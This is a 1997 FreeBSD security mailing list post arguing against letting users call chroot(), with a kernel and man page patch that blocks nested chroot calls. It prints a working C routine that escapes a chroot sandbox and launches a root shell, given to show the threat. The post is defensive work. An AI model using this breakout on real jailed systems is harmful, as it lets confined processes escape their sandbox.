From owner-freebsd-security Mon Jul 7 20:14:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA24052 for security-outgoing; Mon, 7 Jul 1997 20:14:07 -0700 (PDT) Received: from goliath.camtech.com.au (goliath.camtech.net.au [203.5.73.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA24047 for ; Mon, 7 Jul 1997 20:14:04 -0700 (PDT) Received: from sebastion.sa.camtech.com.au (sebastion.sa.camtech.com.au [203.28.3.2]) by goliath.camtech.com.au (8.8.5/8.8.2) with ESMTP id MAA09527; Tue, 8 Jul 1997 12:41:37 +0930 (CST) Received: (from uucp@localhost) by sebastion.sa.camtech.com.au (8.6.10/8.6.10) id MAA05319; Tue, 8 Jul 1997 12:43:59 +0930 Received: from frenzy(192.168.4.65) by sebastion via smap (V1.3) id sma005280; Tue Jul 8 12:43:37 1997 Received: by communica.com.au (4.1/SMI-4.1) id AA21807; Tue, 8 Jul 97 09:18:17 CST From: newton@communica.com.au (Mark Newton) Message-Id: <9707072348.AA21807@communica.com.au> Subject: Re: Security Model/Target for FreeBSD or 4.4? To: robert@cyrus.watson.org (Robert Watson) Date: Tue, 8 Jul 1997 09:18:17 +0930 (CST) Cc: sef@kithrup.com, security@FreeBSD.ORG In-Reply-To: from "Robert Watson" at Jul 7, 97 04:05:07 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Robert Watson wrote: > On a related note, has anyone given any thought to making chroot() a > user-accessible call? Yow. Extremely bad idea. However, taking it to the opposite extreme is a good idea. chroot() loses its usefulness if a process in a "secured" sandbox can conceivably get root privileges -- Solution: Restrict the chroot() call for *all* processes that are already chroot()ed. This is a patch against a version of FreeBSD that's about six months old, but I can't imagine much would have changed to affect it. The effect of the patch is to cause chroot() to fail with EPERM if it is called by a process that is already chroot()ed. [ patch attached at end of this message ] > a vulnerability > I haven't really looked at it, so am not sure why > it can only be called by uid root programs. In terms of sandboxing (which > seems to be popular these days for various applications), it would be nice > to restrict programs to specific regions of the disk, etc. Especially if > you are a non-root user developing programs that require special > libraries, etc. Or if you want to run a restricted web or ftp server, but > don't have root access (as hopefully would be the case with the lighter > restrictions on binding ports <1024.) The problem is that then any of those, uh, "restricted" processes wouldn't be restricted. chroot()'s semantics are such that any user which is capable of calling it is inherently capable of breaking out of a sandbox. The chroot() system call doesn't change a process' *current* directory - It changes a process' *root* directory. If my current directory is /foo and I say, "chroot("/bar")" the effect of that is to shift my root directory to /bar *but I'm still in /foo until I chdir() into /bar!* [ the chroot(1) command gets around this by doing a chdir() into the directory you want to use as a root then saying `chroot(".")' ] As a result of those semantics, a process that can call chroot() can break out of a sandbox quite easily. To illustrate this, consider the code fragment below which does exactly that (and try it out in your own chroot()ed environment if you don't believe me): void make_sysadmin_grumpy(void) { int i; chdir("/"); /* change to root directory in sandbox */ if (chroot("/some/directory/in/sandbox") == -1) { perror("chroot() won't work - exploit failed"); exit(1); } /* Great - we're now *OUTSIDE* our root directory... but we still * have a ".." directory that takes us back to the parent of our * current directory. That means we can get back to the *real* * root directory by repeatedly changing back to "..", remembering * that the parent of / is itself */ for (i = 0; i < 100; i++) chdir(".."); /* We're now at the *real* root directory, even though this process' * root is in the sandbox */ chroot("."); /* Oops - This process' root directory ain't the sandbox anymore! * start a root shell and start having some fun */ execl("/bin/csh", "-csh", (char *)0L); } Of course, if you allow chroot() for non-root processes, then those non- root processes can break out of ANY chroot()'ed environment. Which kinda misses the point of chroot(), really. Anyway, here's the patch which makes chroot() fail if a process is already chroot()ed -- which has the main benefit of preventing attacks like the one annotated above. Method: The chroot() VFS syscall will compare the root directory in the caller's proc structure against the root directory in init's proc structure; If they aren't the same it'll fail with EPERM even if the caller is a root-owned process. If they are the same chroot() continues as one would normally expect. The effect is to cause chroot() to fail if the caller or any of its ancestors have already called it. This behaviour can be enabled by building a kernel with `options "FUNKY_CHROOT"' in the config file. The patch also contains diffs against the chroot(2) manpage for completeness' sake. - mark --- Mark Newton Email: newton@communica.com.au Systems Engineer and Senior Trainer Phone: +61-8-8303-3300 Communica Systems, a member of the Fax: +61-8-8303-4403 CAMTECH group of companies WWW: http://www.communica.com.au *** /usr/src/lib/libc/sys/chroot.2.orig Tue Nov 5 20:55:43 1996 --- /usr/src/lib/libc/sys/chroot.2 Tue Nov 5 22:27:49 1996 *************** *** 60,65 **** --- 60,71 ---- has no effect on the process's current directory. .Pp This call is restricted to the super-user. + .Pp + If the kernel has been built with the FUNKY_CHROOT compile-time option, + then calling chroot(2) will cause all future invocations for the calling + process and all of its future children to fail. In certain circumstances + this behaviour can enhance security; In other circumstances it can + reduce security and cause existing software to break horribly. .Sh RETURN VALUES Upon successful completion, a value of 0 is returned. Otherwise, a value of -1 is returned and *************** *** 72,78 **** .It Bq Er ENOTDIR A component of the path name is not a directory. .It Bq Er EPERM ! The effective user ID is not the super-user. .It Bq Er EINVAL The pathname contains a character with the high-order bit set. .It Bq Er ENAMETOOLONG --- 78,87 ---- .It Bq Er ENOTDIR A component of the path name is not a directory. .It Bq Er EPERM ! The effective user ID is not the super-user, or this kernel has been ! built with FUNKY_CHROOT and a previous call to ! .Xr chroot 2 ! has been made by the caller or one of its ancestors. .It Bq Er EINVAL The pathname contains a character with the high-order bit set. .It Bq Er ENAMETOOLONG *************** *** 90,95 **** --- 99,106 ---- .It Bq Er EIO An I/O error occurred while reading from or writing to the file system. .El + .Sh BUGS + FUNKY_CHROOT is a stupid name. .Sh SEE ALSO .Xr chdir 2 .Sh HISTORY *** /sys/kern/vfs_syscalls.c.orig Tue Nov 5 18:20:22 1996 --- /sys/kern/vfs_syscalls.c Tue Nov 5 20:42:21 1996 *************** *** 607,612 **** --- 607,619 ---- register struct filedesc *fdp = p->p_fd; int error; struct nameidata nd; + #if defined(FUNKY_CHROOT) + register struct proc *init; + + init = pfind((pid_t)1); /* locate init's proc structure */ + if (fdp->fd_rdir != init->p_fd->fd_rdir) + return(EPERM); /* if p's root != init's root return EPERM */ + #endif /* FUNKY_CHROOT */ error = suser(p->p_ucred, &p->p_acflag); if (error)